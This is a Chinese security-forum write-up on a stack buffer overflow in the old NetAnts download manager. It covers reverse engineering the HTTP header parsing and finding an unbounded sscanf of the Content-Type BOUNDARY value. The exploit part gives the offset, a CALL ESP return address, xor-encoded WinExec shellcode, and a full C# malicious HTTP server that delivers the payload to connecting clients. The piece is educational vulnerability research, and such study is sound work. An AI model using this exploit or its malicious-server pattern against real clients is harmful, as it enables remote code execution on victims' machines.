网络蚂蚁是一个很老很老的下载软件了,老到可能有的人根本就不知道它的存在。
之所以分析它是因为之前tk教主在微博上说它有一个堆溢出,利用方法还挺有意思的,然后我在寻找那个堆溢出的利用方法的时候发现了这个栈溢出,算是个副产品。不过感觉倒是可以把发现的过程写出来,给和我一样的初学者一个参考,在http
client相关的漏洞挖掘利用上。
这个其实也算0day吧(滑稽),只不过这软件应该不会有人用了,这洞也不会有人修了。
插两句打油诗
文章内容包括三部分
(1)静态分析发现漏洞
(2)编写利用
(3)总结
(4)C#利用脚本
一、静态分析发现漏洞
首先明确目标,我们的目标是:找出网络蚂蚁在处理服务器返回的数据时有没有漏洞(当然我在分析这个的时候目标其实是找出处理返回数据时有没有规律,可以利用起来,不过目标虽然有区别,做法倒是一样的)。
所以根据目标,首先需要定位网络蚂蚁接收数据,并处理的流程。
用c#写个简单的socket接收回复程序(或者nginx也行),然后在recv下断点,可以跟到
.text:004280DF push [ebp+flags] ; flags
.text:004280E2 push [ebp+wParam] ; len
.text:004280E5 push [ebp+buf] ; buf
.text:004280E8 push [ebp+s] ; s
.text:004280EB call recv
往上回溯发现是函数sub_427E37,recv传入的参数都来自sub_427E37的参数
再看看sub_427E37的实现
利用WSAAsyncSelect和SetTimer竞争抛出信息(看socket先抛出还是timer先抛出),再根据GetMessage得到的信息进行处理
所以这个函数大概功能应该是实现有超时限制的recv
可以把它重命名为 recv_with_timeout_my_427E37
往上一层是sub_42842E,从ida的反编译结果可以直到这一层只是简单的包装,继续往上
为了方便记忆重命名为 recv_n_bytes_my_42842E
来到这里
.text:00412779 push 2 ; flags
.text:0041277B push 4 ; int
.text:0041277D push edi ; int
.text:0041277E push [ebp+s] ; s
.text:00412781 mov [ebp+var_4], esi
.text:00412784 mov [ebp+var_8], 1
.text:0041278B call recv_n_bytes_my_42842E
注意看recv的flags,是2,根据msdn的文档,这是MSG_PEEK,也就是只会取缓冲区的内容,不会清除。
再根据后面利用strnicmp来比较收到的4字节是否是http字符串,可以知道这部分应该是判断连接的服务器是否是http协议的
定位到相关的代码后,先来了解下http协议,这将有助于我们下面逆向分析处理逻辑。
简单地(不完整)来说,http协议是一个文本协议,协议流程包括请求和回复两个过程,请求和回复的头部,都由N行文本构成,每一行文本都由换行结尾,也就是\r\n;当有一行是只有换行\r\n,没有其他内容的时候,代表头部结束。
比如这是某个http请求回复头部
HTTP/1.1 200 OK\r\n
Content-Length: 3059\r\n
Server: GWS/2.0\r\n
\r\n
从协议的格式可以推测,strnicmp结果对应的那个分支,有一个应该就是处理正常回复的。
里面的while循环,和堆\r\n字符串的比较,似乎也印证了这个想法。
继续让断点飞一会,调用堆栈变成
sub_42848E
recv_with_timeout_my_427E37
现在来看sub_42848E实现了什么功能
整理一下,发现逻辑还是很清晰的
先peek一部分数据,看看有没有换行,如果有换行,就读取到换行,并且退出循环
所以这个函数实现的应该是按行读取socket信息,重命名为 recv_one_line_my_42848E
这样一来,上一层的接收循环的逻辑就很清晰了
先读取一行,扩展缓冲区,把读到的一行添加到缓冲区
判断读取到的一行是否是空行,如果是的话,退出接收循环
不过在判断是否是空行后,网络蚂蚁还调用了另外两个函数
似乎有点莫名其妙,来看看他们到底做了什么
先从sub_4124B4入手
整理一下得到下面的结果
逻辑很简单,但是,有惊喜
这个函数会解析content-type,然后把里面的BOUNDARY字段用sscanf提取出来
意不意外,惊不惊喜
sscanf的目标缓冲区是栈上的,很明显的栈缓冲区溢出
不过港真,我不太明白这部分逻辑有什么用,如果是后续的逻辑处理这个还说得过去,在这里处理?难道http协议有什么特殊规定吗?
到这里,另外那个函数就没分析的必要了
二、编写利用
要利用栈溢出,似乎都得利用到某种跳板,jmp esp,call esp,rop诸如此类
网络蚂蚁的本体并没有aslr的保护,但是因为0字节截断的问题,本体上的跳板并不能用。
但是win7的系统模块又有aslr保护,似乎利用不起来。
(其实在win7上是有种奇技淫巧可以利用起来的,有兴趣的朋友可以自己试试,对网络蚂蚁的工作流程越熟悉,越容易找到那个利用办法)
所以直接看看在win xp最原始版本上的利用吧,xp上可以利用系统dll上的跳板
有一点要注意的是,从调用传递的参数知道,网络蚂蚁限制了http头部一行的长度最长是1000字符
v10 = recv_one_line_my_42848E(s, (int)&String1, 1000, 0, a3, 0, 0);
从上面分析的结果,或者google得到boundary的规则
大概可以写出需要返回的头部是
HTTP/1.1 200\r\n
CONTENT-TYPE: multipart/byteranges; BOUNDARY=[占位内容][跳板][shellcode]\r\n
\r\n
占位内容长度是
栈上的缓冲区偏移是 ebp - 0x3C
0x3C - 2 + 4 = 62 字节
其中2是复制boundary的时候本体自己占的2字节
4是栈上的ebp
在kernel32里面找call esp
77E7FC79 FFD4 CALL ESP
shellcode就弹个计算器好了
这里就不那么麻烦自己重新导入一遍函数了,直接用它已经导入的WinExec
WinExec("calc", 1);
在调试器里输入,然后转换后的汇编,然后复制出来
0293F0DF 33D2 XOR EDX,EDX
0293F0E1 881424 MOV BYTE PTR SS:[ESP],DL
0293F0E4 4C DEC ESP
0293F0E5 C60424 63 MOV BYTE PTR SS:[ESP],63
0293F0E9 4C DEC ESP
0293F0EA C60424 6C MOV BYTE PTR SS:[ESP],6C
0293F0EE 4C DEC ESP
0293F0EF C60424 61 MOV BYTE PTR SS:[ESP],61
0293F0F3 4C DEC ESP
0293F0F4 C60424 63 MOV BYTE PTR SS:[ESP],63
0293F0F8 8BDC MOV EBX,ESP
0293F0FA 6A 01 PUSH 1
0293F0FC 53 PUSH EBX
0293F0FD BB CF563177 MOV EBX,773156CF
0293F102 81F3 77777777 XOR EBX,77777777
0293F108 FF13 CALL DWORD PTR DS:[EBX] ; kernel32.WinExec
这里为了绕过0字节截断,把WinExec的地址用xor编码了
到此大功告成,C#脚本见最后
三、总结
发现这个漏洞的方法应该有很多;直接查找sscanf的引用,可以发现有很多函数都调用了它。怎么快速知道用什么样的回复内容可以跑到有危险函数调用的路径,才是关键吧。某种程度上来说,这是个路径搜索问题,还是多源多目的搜索。如果所有函数调用都不是虚函数或者函数指针的话,还好,不过现在的软件越来越复杂,基本都不满足这个条件。。。所以这个问题又比有向图的搜索要复杂很多
四、C#利用脚本
void Main()
{
try
{
Listener("192.168.190.141", 80);
}
finally
{
lock (clientSet)
{
foreach (var i in clientSet)
{
i.Close();
}
clientSet.Clear();
}
}
"End".Dump();
}
void Listener(string ip, int port)
{
TcpListener listener = null;
try
{
listener = new TcpListener(IPAddress.Parse(ip), port);
listener.Start();
while (true)
{
var client = listener.AcceptTcpClient();
Console.WriteLine("new client : " + client.Client.RemoteEndPoint.ToString());
Thread th = new Thread(() => {
ClientFunc(client);
});
th.Start();
}
}
catch (Exception e)
{
e.Dump();
}
finally
{
if (listener != null)
{
listener.Stop();
listener = null;
}
}
}
HashSet clientSet = new HashSet();
void ClientFunc(TcpClient client)
{
clientSet.Add(client);
client.ReceiveTimeout = 3000000;
client.SendTimeout = 3000000;
byte[] readBuffer = new byte[10240];
try
{
var stream = client.GetStream();
//read header
string requestStr = string.Empty;
{
int offset = 0;
while (true)
{
int cnt = stream.Read(readBuffer, offset, 128);
if (cnt <= 0)
{
"socket error".Dump();
return;
}
offset += cnt;
var str = Encoding.UTF8.GetString(readBuffer, 0, offset);
Console.WriteLine(str);
var index = FindStreamEnd(readBuffer, offset);
if (index > 0)
{
requestStr = str;
break;
}
}
}
//send
{
var data = GetSendBuffer();
stream.Write(data, 0, data.Length);
stream.Flush();
Thread.Sleep(3000000);
}
}
finally
{
lock (clientSet)
{
clientSet.Remove(client);
client.Close();
}
}
}
int FindStreamEnd(byte[] buffer, int len)
{
byte a = (byte)'\r';
byte b = (byte)'\n';
for (int i = 0; i < len - 3; i++)
{
if (buffer[i] == a && buffer[i + 1] == b && buffer[i + 2] == a && buffer[i + 3] == b)
{
return i;
}
}
return -1;
}
static byte[] GetSendBuffer()
{
if (RespData == null)
{
List list = new List();
var data = Encoding.UTF8.GetBytes(RespText);
list.AddRange(data);
//返回地址
//77E7FC79
list.Add(0x79);
list.Add(0xFC);
list.Add(0xE7);
list.Add(0x77);
//shellcode
for (int i = 0; i < shellcode.Length; i += 2)
{
var s = shellcode.Substring(i, 2);
list.Add(Convert.ToByte(s, 16));
}
list.AddRange(Encoding.UTF8.GetBytes("\r\n\r\n"));
RespData = list.ToArray();
}
return RespData;
}
static byte[] RespData = null;
static string RespText = @"HTTP/1.1 200
CONTENT-TYPE: multipart/byteranges; BOUNDARY=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
static string shellcode = "33D28814244CC60424634CC604246C4CC60424614CC60424638BDC6A0153BBCF56317781F377777777FF13";
本文由看雪论坛 ktkitty 原创 转载请注明来自看雪社区